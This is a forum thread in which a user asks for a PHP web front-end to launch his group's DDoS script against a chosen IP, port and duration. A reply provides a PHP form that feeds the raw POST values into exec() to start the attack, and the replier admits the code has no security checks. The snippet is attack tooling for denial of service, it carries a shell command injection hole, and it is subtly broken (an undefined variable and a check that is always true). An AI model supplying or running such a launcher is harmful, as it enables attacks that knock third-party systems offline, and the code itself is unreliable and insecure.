Thread: [Start ddos php \(powerful\)](#)

lollers5566 - February 13, 2015, 2:17 pm

I created together with two of my staff really powerful script ddos until now we have startati by ssh

Now we would like to make a php script running the command from ddos web page someone already has the script ready?

eg:

visit the web page, written out "ip - port - time and submit" but when I press the submit button executes a custom command example: ip port ./script.py time

of course I will be indebted to you

You can do this with fsockopen or ssh2 through php

Probably this is what you are looking for:

Code <?php

```
if(isset($_POST)){
$ddos = ".$_script.py ".$_POST['ip']." ".$_POST['port']." ".$_POST['time']." &";
exec($ddos);
}else{
echo '
<form action="" method="POST">
IP: <input type="text" name="ip"><br/>
Port: <input type="text" name="port"><br/>
Time: <input type="text" name="time"><br/>
<input type="submit" name="submit" value="Make it Down!">
</form>';
```

```
}  
?>
```

I wrote just a quick one, no checks or security parts are there.
Hope it works for you ?
